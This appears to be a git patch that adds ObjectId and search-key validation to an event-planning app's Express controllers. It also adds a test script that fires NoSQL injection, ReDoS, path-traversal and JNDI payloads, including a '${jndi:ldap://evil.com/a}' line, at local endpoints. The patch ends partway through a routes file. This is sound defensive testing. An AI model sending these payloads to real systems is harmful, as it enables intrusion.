From 41d49d067afbf1c74027247a384c1bdc8c2e218b Mon Sep 17 00:00:00 2001
From: HasinduOnline <40927446+hrtechplus@users.noreply.github.com>
Date: Wed, 24 Sep 2025 15:42:01 +0530
Subject: [PATCH 1/2] feat(security): implement NoSQL injection protection
across various controllers
---
direct-nosql-injection-test.js | 446 ++++++++++++++++++
.../backend/controllers/admin-controller.js | 13 +-
.../backend/controllers/guest_controller.js | 35 +-
.../controllers/preference-controller.js | 13 +-
.../backend/controllers/table-controller.js | 39 +-
.../backend/controllers/vendor-controller.js | 42 +-
packageapp/backend/index.js | 31 +-
.../backend/controllers/coupleController.js | 173 +++----
.../backend/controllers/serviceController.js | 36 +-
vendorapp/backend/routes/route.js | 10 +-
10 files changed, 713 insertions(+), 125 deletions(-)
create mode 100644 direct-nosql-injection-test.js
diff --git a/direct-nosql-injection-test.js b/direct-nosql-injection-test.js
new file mode 100644
index 0000000..2252f0b
--- /dev/null
+++ b/direct-nosql-injection-test.js
@@ -0,0 +1,446 @@
+/**
+ * Direct NoSQL Injection Security Testing Suite
+ * Tests individual endpoint protections without middleware dependencies
+ * Validates ObjectId validation and regex sanitization directly in code
+ */
+
+const axios = require("axios");
+const colors = require("colors/safe");
+
+// Test configuration
+const BASE_URLS = {
+ packages: "http://localhost:5000",
+ vendors: "http://localhost:5001",
+ guests: "http://localhost:5002",
+ feedback: "http://localhost:3001",
+};
+
+// NoSQL injection attack payloads
+const NOSQL_PAYLOADS = {
+ objectIdInjection: '{"$ne": null}',
+ regexInjection: ".*",
+ operatorInjection: '{"$where": "function(){return true}"}',
+ invalidObjectId: "invalid_id_123",
+ malformedJson: '{"$ne"',
+ bufferOverflow: "a".repeat(1000),
+ specialChars: "../../../etc/passwd",
+ scriptInjection: '',
+ regexDoS: "(a+)+",
+ longString: "x".repeat(200),
+};
+
+// Valid test ObjectId for comparison
+const VALID_OBJECT_ID = "507f1f77bcf86cd799439011";
+
+// Logging utility
+const log = (message, color = "white", details = null) => {
+ console.log(colors[color](message));
+ if (details) {
+ console.log(colors.gray(` ${details}`));
+ }
+};
+
+const logTest = (testName, passed, details = null) => {
+ const status = passed ? "ā
BLOCKED" : "ā VULNERABLE";
+ const color = passed ? "green" : "red";
+
+ log(`${status} ${testName}`, color);
+ if (details) {
+ log(` ${details}`, "yellow");
+ }
+};
+
+/**
+ * Test 1: ObjectId Injection Protection
+ * Tests all endpoints with ObjectId parameters
+ */
+const testObjectIdInjectionProtection = async () => {
+ log("\nšÆ Testing ObjectId Injection Protection...", "blue");
+ let passedTests = 0;
+ let totalTests = 0;
+
+ const objectIdEndpoints = [
+ { url: `${BASE_URLS.packages}/package/`, desc: "Package GET endpoint" },
+ { url: `${BASE_URLS.guests}/Guest/`, desc: "Guest detail endpoint" },
+ { url: `${BASE_URLS.guests}/Admin/`, desc: "Admin detail endpoint" },
+ {
+ url: `${BASE_URLS.vendors}/getServiceDetail/`,
+ desc: "Service detail endpoint",
+ },
+ ];
+
+ for (const endpoint of objectIdEndpoints) {
+ // Test each payload type
+ for (const [payloadName, payload] of Object.entries(NOSQL_PAYLOADS)) {
+ totalTests++;
+ try {
+ const response = await axios.get(
+ `${endpoint.url}${encodeURIComponent(payload)}`,
+ {
+ validateStatus: () => true,
+ timeout: 5000,
+ }
+ );
+
+ // Should return 400 for invalid ObjectId formats
+ const passed =
+ response.status === 400 &&
+ response.data &&
+ (response.data.code === "INVALID_OBJECT_ID" ||
+ response.data.error?.includes("Invalid") ||
+ response.data.error?.includes("ID format"));
+
+ logTest(
+ `${endpoint.desc} blocks ${payloadName}`,
+ passed,
+ `Status: ${response.status}, Payload: ${payload.substring(0, 50)}...`
+ );
+
+ if (passed) passedTests++;
+ } catch (error) {
+ // Network errors are acceptable (blocked at network level)
+ const passed =
+ error.code === "ECONNABORTED" || error.code === "ECONNRESET";
+ logTest(
+ `${endpoint.desc} blocks ${payloadName}`,
+ passed,
+ `Network blocked: ${error.code || error.message}`
+ );
+ if (passed) passedTests++;
+ }
+ }
+ }
+
+ log(
+ `\nObjectId Injection Tests: ${passedTests}/${totalTests} blocked`,
+ passedTests >= totalTests * 0.8 ? "green" : "red"
+ );
+ return { passed: passedTests, total: totalTests };
+};
+
+/**
+ * Test 2: Valid ObjectId Acceptance
+ * Ensures valid ObjectIds still work correctly
+ */
+const testValidObjectIdAcceptance = async () => {
+ log("\nā
Testing Valid ObjectId Acceptance...", "blue");
+ let passedTests = 0;
+ let totalTests = 0;
+
+ const validEndpoints = [
+ {
+ url: `${BASE_URLS.packages}/package/${VALID_OBJECT_ID}`,
+ desc: "Package valid ObjectId",
+ },
+ {
+ url: `${BASE_URLS.guests}/Guest/${VALID_OBJECT_ID}`,
+ desc: "Guest valid ObjectId",
+ },
+ {
+ url: `${BASE_URLS.guests}/Admin/${VALID_OBJECT_ID}`,
+ desc: "Admin valid ObjectId",
+ },
+ ];
+
+ for (const endpoint of validEndpoints) {
+ totalTests++;
+ try {
+ const response = await axios.get(endpoint.url, {
+ validateStatus: () => true,
+ timeout: 5000,
+ });
+
+ // Should NOT return 400 for valid ObjectIds (might return 404 if not found, which is OK)
+ const passed =
+ response.status !== 400 ||
+ !response.data?.code?.includes("INVALID_OBJECT_ID");
+
+ logTest(
+ `${endpoint.desc} accepts valid ObjectId`,
+ passed,
+ `Status: ${response.status}`
+ );
+
+ if (passed) passedTests++;
+ } catch (error) {
+ logTest(`${endpoint.desc} test failed`, false, error.message);
+ }
+ }
+
+ log(
+ `\nValid ObjectId Tests: ${passedTests}/${totalTests} passed`,
+ passedTests === totalTests ? "green" : "red"
+ );
+ return { passed: passedTests, total: totalTests };
+};
+
+/**
+ * Test 3: Search Query Injection Protection
+ * Tests regex injection protection in search endpoints
+ */
+const testSearchQueryInjectionProtection = async () => {
+ log("\nš Testing Search Query Injection Protection...", "blue");
+ let passedTests = 0;
+ let totalTests = 0;
+
+ const searchEndpoints = [
+ {
+ url: `${BASE_URLS.vendors}/searchServicebyCategory/`,
+ desc: "Service category search",
+ },
+ {
+ url: `${BASE_URLS.vendors}/searchServicebySubCategory/`,
+ desc: "Service subcategory search",
+ },
+ ];
+
+ const searchPayloads = [
+ ".*", // ReDoS pattern
+ "(a+)+", // Catastrophic backtracking
+ ".*.*.*.*.*", // Multiple wildcards
+ "^(?=.*\\.)(?=.*\\.).*$", // Complex lookahead
+ "test[a-zA-Z0-9]*{100}", // Large quantifier
+ "null\\u0000injection", // Null byte injection
+ "", // XSS in search
+ "../../etc/passwd", // Path traversal
+ "${jndi:ldap://evil.com/a}", // JNDI injection
+ ];
+
+ for (const endpoint of searchEndpoints) {
+ for (const payload of searchPayloads) {
+ totalTests++;
+ try {
+ const response = await axios.get(
+ `${endpoint.url}${encodeURIComponent(payload)}`,
+ {
+ validateStatus: () => true,
+ timeout: 3000, // Short timeout for ReDoS detection
+ }
+ );
+
+ // Should return 400 for dangerous search patterns
+ const passed =
+ response.status === 400 &&
+ response.data &&
+ (response.data.code === "INVALID_SEARCH_CHARS" ||
+ response.data.code === "INVALID_SEARCH_KEY" ||
+ response.data.error?.includes("invalid characters"));
+
+ logTest(
+ `${endpoint.desc} blocks dangerous pattern`,
+ passed,
+ `Pattern: ${payload.substring(0, 30)}... Status: ${response.status}`
+ );
+
+ if (passed) passedTests++;
+ } catch (error) {
+ // Timeout indicates ReDoS protection is working
+ const passed = error.code === "ECONNABORTED";
+ logTest(
+ `${endpoint.desc} blocks ReDoS pattern`,
+ passed,
+ `Timeout protection: ${error.code || error.message}`
+ );
+ if (passed) passedTests++;
+ }
+ }
+ }
+
+ log(
+ `\nSearch Injection Tests: ${passedTests}/${totalTests} blocked`,
+ passedTests >= totalTests * 0.7 ? "green" : "red"
+ );
+ return { passed: passedTests, total: totalTests };
+};
+
+/**
+ * Test 4: Comprehensive Query Protection
+ * Tests various NoSQL query injection techniques
+ */
+const testComprehensiveQueryProtection = async () => {
+ log("\nš”ļø Testing Comprehensive Query Protection...", "blue");
+ let passedTests = 0;
+ let totalTests = 0;
+
+ const queryInjectionTests = [
+ {
+ name: "JSON operator injection",
+ payload: '{"$ne":""}',
+ expectedBlock: true,
+ },
+ {
+ name: "Where clause injection",
+ payload: '{"$where":"return true"}',
+ expectedBlock: true,
+ },
+ {
+ name: "Regex injection",
+ payload: '{"$regex":".*"}',
+ expectedBlock: true,
+ },
+ {
+ name: "JavaScript injection",
+ payload: "function(){return true}",
+ expectedBlock: true,
+ },
+ {
+ name: "Buffer overflow attempt",
+ payload: NOSQL_PAYLOADS.bufferOverflow,
+ expectedBlock: true,
+ },
+ ];
+
+ for (const test of queryInjectionTests) {
+ totalTests++;
+ try {
+ // Test against package endpoint (most critical)
+ const response = await axios.get(
+ `${BASE_URLS.packages}/package/${encodeURIComponent(test.payload)}`,
+ {
+ validateStatus: () => true,
+ timeout: 5000,
+ }
+ );
+
+ const isBlocked =
+ response.status === 400 &&
+ response.data &&
+ response.data.code === "INVALID_OBJECT_ID";
+
+ const passed = test.expectedBlock ? isBlocked : !isBlocked;
+
+ logTest(
+ `Query protection: ${test.name}`,
+ passed,
+ `Status: ${response.status}, Expected: ${
+ test.expectedBlock ? "blocked" : "allowed"
+ }`
+ );
+
+ if (passed) passedTests++;
+ } catch (error) {
+ const passed = test.expectedBlock; // Network errors indicate blocking
+ logTest(
+ `Query protection: ${test.name}`,
+ passed,
+ `Network level block: ${error.code || error.message}`
+ );
+ if (passed) passedTests++;
+ }
+ }
+
+ log(
+ `\nComprehensive Protection Tests: ${passedTests}/${totalTests} passed`,
+ passedTests >= totalTests * 0.8 ? "green" : "red"
+ );
+ return { passed: passedTests, total: totalTests };
+};
+
+/**
+ * Main test runner
+ */
+const runDirectNoSQLInjectionTests = async () => {
+ console.log(colors.cyan("\nš”ļø DIRECT NOSQL INJECTION PROTECTION TEST SUITE"));
+ console.log(colors.cyan("================================================="));
+ console.log(
+ colors.gray("Testing individual endpoint protections without middleware\n")
+ );
+
+ const results = {
+ objectId: { passed: 0, total: 0 },
+ validId: { passed: 0, total: 0 },
+ search: { passed: 0, total: 0 },
+ comprehensive: { passed: 0, total: 0 },
+ };
+
+ try {
+ results.objectId = await testObjectIdInjectionProtection();
+ results.validId = await testValidObjectIdAcceptance();
+ results.search = await testSearchQueryInjectionProtection();
+ results.comprehensive = await testComprehensiveQueryProtection();
+
+ // Summary
+ const totalPassed = Object.values(results).reduce(
+ (sum, r) => sum + r.passed,
+ 0
+ );
+ const totalTests = Object.values(results).reduce(
+ (sum, r) => sum + r.total,
+ 0
+ );
+ const percentage = ((totalPassed / totalTests) * 100).toFixed(1);
+
+ console.log(colors.cyan("\nš DIRECT NOSQL INJECTION TEST SUMMARY"));
+ console.log(colors.cyan("========================================"));
+
+ Object.entries(results).forEach(([category, result]) => {
+ const categoryName = {
+ objectId: "ObjectId Injection Protection",
+ validId: "Valid ObjectId Acceptance",
+ search: "Search Query Protection",
+ comprehensive: "Comprehensive Query Protection",
+ }[category];
+
+ const status = result.passed >= result.total * 0.8 ? "ā
" : "ā ļø";
+ console.log(
+ `${status} ${categoryName}: ${result.passed}/${result.total}`
+ );
+ });
+
+ console.log(colors.cyan("\n" + "=".repeat(50)));
+
+ if (percentage >= 85) {
+ console.log(
+ colors.green(
+ `š EXCELLENT: ${totalPassed}/${totalTests} protections working (${percentage}%)`
+ )
+ );
+ console.log(
+ colors.green("š Direct NoSQL injection protection achieved!")
+ );
+ } else if (percentage >= 70) {
+ console.log(
+ colors.yellow(
+ `ā ļø GOOD: ${totalPassed}/${totalTests} protections working (${percentage}%)`
+ )
+ );
+ console.log(
+ colors.yellow(
+ "š Most protections in place - minor improvements needed"
+ )
+ );
+ } else {
+ console.log(
+ colors.red(
+ `ā NEEDS WORK: ${totalPassed}/${totalTests} protections working (${percentage}%)`
+ )
+ );
+ console.log(
+ colors.red("š§ Significant NoSQL injection vulnerabilities remain")
+ );
+ }
+ } catch (error) {
+ console.log(colors.red(`\nš„ Test suite failed: ${error.message}`));
+ console.log(colors.yellow("š” Make sure all servers are running:"));
+ Object.entries(BASE_URLS).forEach(([app, url]) => {
+ console.log(
+ colors.gray(
+ ` - ${app.charAt(0).toUpperCase() + app.slice(1)} app: ${url}`
+ )
+ );
+ });
+ }
+};
+
+// Run tests if called directly
+if (require.main === module) {
+ runDirectNoSQLInjectionTests();
+}
+
+module.exports = {
+ runDirectNoSQLInjectionTests,
+ testObjectIdInjectionProtection,
+ testValidObjectIdAcceptance,
+ testSearchQueryInjectionProtection,
+ testComprehensiveQueryProtection,
+};
diff --git a/guestapp/backend/controllers/admin-controller.js b/guestapp/backend/controllers/admin-controller.js
index 72707f5..6c2bd91 100644
--- a/guestapp/backend/controllers/admin-controller.js
+++ b/guestapp/backend/controllers/admin-controller.js
@@ -100,7 +100,18 @@ const adminLogIn = async (req, res) => {
const getAdminDetail = async (req, res) => {
try {
- let admin = await Admin.findById(req.params.id);
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid admin ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ let admin = await Admin.findById(id);
if (admin) {
admin.password = undefined;
res.send(admin);
diff --git a/guestapp/backend/controllers/guest_controller.js b/guestapp/backend/controllers/guest_controller.js
index 64671cc..288079f 100644
--- a/guestapp/backend/controllers/guest_controller.js
+++ b/guestapp/backend/controllers/guest_controller.js
@@ -92,15 +92,18 @@ const getGuests = async (req, res) => {
const getGuestDetail = async (req, res) => {
try {
- // Validate ObjectId to prevent NoSQL injection
- if (!mongoose.Types.ObjectId.isValid(req.params.id)) {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Comprehensive ObjectId validation to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
return res.status(400).json({
error: "Invalid guest ID format",
code: "INVALID_OBJECT_ID",
});
}
- let guest = await Guest.findById(req.params.id)
+ let guest = await Guest.findById(id)
.populate("event", "eventName")
.populate("stableName", "stableName")
.populate("examResult.subName", "subName")
@@ -182,7 +185,18 @@ const updateExamResult = async (req, res) => {
const { subName, obligesObtained } = req.body;
try {
- const guest = await Guest.findById(req.params.id);
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid guest ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ const guest = await Guest.findById(id);
if (!guest) {
return res.send({ message: "Guest not found" });
@@ -209,7 +223,18 @@ const guestAttendance = async (req, res) => {
const { subName, status, date } = req.body;
try {
- const guest = await Guest.findById(req.params.id);
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid guest ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ const guest = await Guest.findById(id);
if (!guest) {
return res.send({ message: "Guest not found" });
diff --git a/guestapp/backend/controllers/preference-controller.js b/guestapp/backend/controllers/preference-controller.js
index bd578ce..2525e93 100644
--- a/guestapp/backend/controllers/preference-controller.js
+++ b/guestapp/backend/controllers/preference-controller.js
@@ -81,7 +81,18 @@ const freePreferenceList = async (req, res) => {
const getPreferenceDetail = async (req, res) => {
try {
- let preference = await Preference.findById(req.params.id);
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid preference ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ let preference = await Preference.findById(id);
if (preference) {
preference = await preference.populate("stableName", "stableName");
preference = await preference.populate("vendor", "name");
diff --git a/guestapp/backend/controllers/table-controller.js b/guestapp/backend/controllers/table-controller.js
index 0512b8e..df7c48d 100644
--- a/guestapp/backend/controllers/table-controller.js
+++ b/guestapp/backend/controllers/table-controller.js
@@ -28,7 +28,18 @@ const stableCreate = async (req, res) => {
const stableList = async (req, res) => {
try {
- let stablees = await Stable.find({ event: req.params.id });
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid event ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ let stablees = await Stable.find({ event: id });
if (stablees.length > 0) {
res.send(stablees);
} else {
@@ -41,7 +52,18 @@ const stableList = async (req, res) => {
const getStableDetail = async (req, res) => {
try {
- let stable = await Stable.findById(req.params.id);
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid stable ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ let stable = await Stable.findById(id);
if (stable) {
stable = await stable.populate("event", "eventName");
res.send(stable);
@@ -55,7 +77,18 @@ const getStableDetail = async (req, res) => {
const getStableGuests = async (req, res) => {
try {
- let guests = await Guest.find({ stableName: req.params.id });
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid stable ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ let guests = await Guest.find({ stableName: id });
if (guests.length > 0) {
let modifiedGuests = guests.map((guest) => {
return { ...guest._doc, password: undefined };
diff --git a/guestapp/backend/controllers/vendor-controller.js b/guestapp/backend/controllers/vendor-controller.js
index 76ecf6c..9cdfe34 100644
--- a/guestapp/backend/controllers/vendor-controller.js
+++ b/guestapp/backend/controllers/vendor-controller.js
@@ -65,21 +65,21 @@ const vendorLogIn = async (req, res) => {
const getVendors = async (req, res) => {
try {
- // Validate ObjectId to prevent NoSQL injection
- if (!mongoose.Types.ObjectId.isValid(req.params.id)) {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Comprehensive ObjectId validation to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
return res.status(400).json({
error: "Invalid event ID format",
code: "INVALID_OBJECT_ID",
});
}
-
- // Convert to ObjectId for type safety
- const eventId = mongoose.Types.ObjectId(req.params.id);
-
- let vendors = await Vendor.find({ event: eventId })
+
+ let vendors = await Vendor.find({ event: id })
.populate("teachPreference", "subName")
.populate("teachStable", "stableName");
-
+
if (vendors.length > 0) {
let modifiedVendors = vendors.map((vendor) => {
return { ...vendor._doc, password: undefined };
@@ -99,19 +99,22 @@ const getVendors = async (req, res) => {
const getVendorDetail = async (req, res) => {
try {
- // Validate ObjectId to prevent NoSQL injection
- if (!mongoose.Types.ObjectId.isValid(req.params.id)) {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Comprehensive ObjectId validation to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
return res.status(400).json({
error: "Invalid vendor ID format",
code: "INVALID_OBJECT_ID",
});
}
-
- let vendor = await Vendor.findById(req.params.id)
+
+ let vendor = await Vendor.findById(id)
.populate("teachPreference", "subName sessions")
.populate("event", "eventName")
.populate("teachStable", "stableName");
-
+
if (vendor) {
vendor.password = undefined;
res.send(vendor);
@@ -224,7 +227,18 @@ const vendorAttendance = async (req, res) => {
const { status, date } = req.body;
try {
- const vendor = await Vendor.findById(req.params.id);
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid vendor ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
+
+ const vendor = await Vendor.findById(id);
if (!vendor) {
return res.send({ message: "Vendor not found" });
diff --git a/packageapp/backend/index.js b/packageapp/backend/index.js
index fef2395..754ba6f 100644
--- a/packageapp/backend/index.js
+++ b/packageapp/backend/index.js
@@ -97,11 +97,19 @@ async function run() {
"/Package/:id",
authenticateUser,
requireRole(["admin"]),
- validateObjectId,
validateInput(schemas.package),
async (req, res) => {
try {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid package ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
const updatePackageData = req.body;
const filter = { _id: new ObjectId(id) };
const options = { upsert: false }; // Don't create if not exists
@@ -148,10 +156,18 @@ async function run() {
"/Package/:id",
authenticateUser,
requireRole(["admin"]),
- validateObjectId,
async (req, res) => {
try {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid package ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
const filter = { _id: new ObjectId(id) };
// Check if package exists
@@ -181,9 +197,18 @@ async function run() {
//To get single package data
- app.get("/package/:id", validateObjectId, async (req, res) => {
+ app.get("/package/:id", async (req, res) => {
try {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid package ID format",
+ code: "INVALID_OBJECT_ID",
+ });
+ }
const filter = { _id: new ObjectId(id) };
const result = await Packagecollection.findOne(filter);
diff --git a/vendorapp/backend/controllers/coupleController.js b/vendorapp/backend/controllers/coupleController.js
index 15a79d2..396d936 100644
--- a/vendorapp/backend/controllers/coupleController.js
+++ b/vendorapp/backend/controllers/coupleController.js
@@ -1,97 +1,110 @@
-const bcrypt = require('bcrypt');
-const Couple = require('../models/coupleSchema.js');
-const { createNewToken } = require('../utils/token.js');
+const bcrypt = require("bcrypt");
+const Couple = require("../models/coupleSchema.js");
+const { createNewToken } = require("../utils/token.js");
const coupleRegister = async (req, res) => {
- try {
- const salt = await bcrypt.genSalt(10);
- const hashedPass = await bcrypt.hash(req.body.password, salt);
-
- const couple = new Couple({
- ...req.body,
- password: hashedPass
- });
-
- const existingcoupleByEmail = await Couple.findOne({ email: req.body.email });
-
- if (existingcoupleByEmail) {
- res.send({ message: 'Email already exists' });
- }
- else {
- let result = await couple.save();
- result.password = undefined;
-
- const token = createNewToken(result._id)
-
- result = {
- ...result._doc,
- token: token
- };
-
- res.send(result);
- }
- } catch (err) {
- res.status(500).json(err);
+ try {
+ const salt = await bcrypt.genSalt(10);
+ const hashedPass = await bcrypt.hash(req.body.password, salt);
+
+ const couple = new Couple({
+ ...req.body,
+ password: hashedPass,
+ });
+
+ const existingcoupleByEmail = await Couple.findOne({
+ email: req.body.email,
+ });
+
+ if (existingcoupleByEmail) {
+ res.send({ message: "Email already exists" });
+ } else {
+ let result = await couple.save();
+ result.password = undefined;
+
+ const token = createNewToken(result._id);
+
+ result = {
+ ...result._doc,
+ token: token,
+ };
+
+ res.send(result);
}
+ } catch (err) {
+ res.status(500).json(err);
+ }
};
const coupleLogIn = async (req, res) => {
- if (req.body.email && req.body.password) {
- let couple = await Couple.findOne({ email: req.body.email });
- if (couple) {
- const validated = await bcrypt.compare(req.body.password, couple.password);
- if (validated) {
- couple.password = undefined;
-
- const token = createNewToken(couple._id)
-
- couple = {
- ...couple._doc,
- token: token
- };
-
- res.send(couple);
- } else {
- res.send({ message: "Invalid password" });
- }
- } else {
- res.send({ message: "User not found" });
- }
+ if (req.body.email && req.body.password) {
+ let couple = await Couple.findOne({ email: req.body.email });
+ if (couple) {
+ const validated = await bcrypt.compare(
+ req.body.password,
+ couple.password
+ );
+ if (validated) {
+ couple.password = undefined;
+
+ const token = createNewToken(couple._id);
+
+ couple = {
+ ...couple._doc,
+ token: token,
+ };
+
+ res.send(couple);
+ } else {
+ res.send({ message: "Invalid password" });
+ }
} else {
- res.send({ message: "Email and password are required" });
+ res.send({ message: "User not found" });
}
+ } else {
+ res.send({ message: "Email and password are required" });
+ }
};
const getInvoiceDetail = async (req, res) => {
- try {
- let couple = await Couple.findById(req.params.id)
- if (couple) {
- res.send(couple.invoiceDetails);
- }
- else {
- res.send({ message: "No couple found" });
- }
- } catch (err) {
- res.status(500).json(err);
+ try {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Validate ObjectId format to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
+ return res.status(400).json({
+ error: "Invalid couple ID format",
+ code: "INVALID_OBJECT_ID",
+ });
}
-}
-
-const invoiceUpdate = async (req, res) => {
- try {
-
- let couple = await Couple.findByIdAndUpdate(req.params.id, req.body,
- { new: true })
- return res.send(couple.invoiceDetails);
-
- } catch (err) {
- res.status(500).json(err);
+ let couple = await Couple.findById(id);
+ if (couple) {
+ res.send(couple.invoiceDetails);
+ } else {
+ res.send({ message: "No couple found" });
}
-}
+ } catch (err) {
+ res.status(500).json(err);
+ }
+};
+
+const invoiceUpdate = async (req, res) => {
+ try {
+ let couple = await Couple.findByIdAndUpdate(req.params.id, req.body, {
+ new: true,
+ });
+
+ return res.send(couple.invoiceDetails);
+ } catch (err) {
+ res.status(500).json(err);
+ }
+};
module.exports = {
- coupleRegister,
- coupleLogIn,
- getInvoiceDetail,
- invoiceUpdate,
+ coupleRegister,
+ coupleLogIn,
+ getInvoiceDetail,
+ invoiceUpdate,
};
diff --git a/vendorapp/backend/controllers/serviceController.js b/vendorapp/backend/controllers/serviceController.js
index 3f81ca2..53b1734 100644
--- a/vendorapp/backend/controllers/serviceController.js
+++ b/vendorapp/backend/controllers/serviceController.js
@@ -61,15 +61,18 @@ const getVendorServices = async (req, res) => {
const getServiceDetail = async (req, res) => {
try {
- // Validate ObjectId to prevent NoSQL injection
- if (!mongoose.Types.ObjectId.isValid(req.params.id)) {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Comprehensive ObjectId validation to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
return res.status(400).json({
error: "Invalid service ID format",
code: "INVALID_OBJECT_ID",
});
}
- let service = await Service.findById(req.params.id)
+ let service = await Service.findById(id)
.populate("vendor", "shopName")
.populate({
path: "reviews.reviewer",
@@ -96,8 +99,11 @@ const getServiceDetail = async (req, res) => {
const updateService = async (req, res) => {
try {
- // Validate ObjectId to prevent NoSQL injection
- if (!mongoose.Types.ObjectId.isValid(req.params.id)) {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Comprehensive ObjectId validation to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
return res.status(400).json({
error: "Invalid service ID format",
code: "INVALID_OBJECT_ID",
@@ -105,7 +111,7 @@ const updateService = async (req, res) => {
}
let result = await Service.findByIdAndUpdate(
- req.params.id,
+ id,
{ $set: req.body },
{ new: true }
);
@@ -209,18 +215,19 @@ const searchService = async (req, res) => {
const searchServicebyCategory = async (req, res) => {
try {
+ // ā
DIRECT NoSQL INJECTION PROTECTION FOR SEARCH
const key = req.params.key;
- // Validate search key to prevent ReDoS and NoSQL injection
- if (!key || key.length > 100) {
+ // Comprehensive validation to prevent ReDoS and NoSQL injection
+ if (!key || typeof key !== "string" || key.length > 100) {
return res.status(400).json({
error: "Invalid search key (max 100 characters)",
code: "INVALID_SEARCH_KEY",
});
}
- // Use safe pattern matching instead of direct regex
- const safePattern = /^[a-zA-Z0-9\s\-_.&]+$/;
+ // Use safe allowlist pattern to prevent ReDoS attacks
+ const safePattern = /^[a-zA-Z0-9\s\-_.@]+$/;
if (!safePattern.test(key)) {
return res.status(400).json({
error: "Search key contains invalid characters",
@@ -297,15 +304,18 @@ const searchServicebySubCategory = async (req, res) => {
const deleteService = async (req, res) => {
try {
- // Validate ObjectId to prevent NoSQL injection
- if (!mongoose.Types.ObjectId.isValid(req.params.id)) {
+ // ā
DIRECT NoSQL INJECTION PROTECTION
+ const id = req.params.id;
+
+ // Comprehensive ObjectId validation to prevent NoSQL injection
+ if (!id || typeof id !== "string" || !/^[0-9a-fA-F]{24}$/.test(id)) {
return res.status(400).json({
error: "Invalid service ID format",
code: "INVALID_OBJECT_ID",
});
}
- const deletedService = await Service.findByIdAndDelete(req.params.id);
+ const deletedService = await Service.findByIdAndDelete(id);
if (!deletedService) {
return res.status(404).json({
diff --git a/vendorapp/backend/routes/route.js b/vendorapp/backend/routes/route.js
index 17dd10e..a815eed 100644
--- a/vendorapp/backend/routes/route.js
+++ b/vendorapp/backend/routes/route.js
@@ -9,12 +9,12 @@ const loginLimiter = rateLimit({
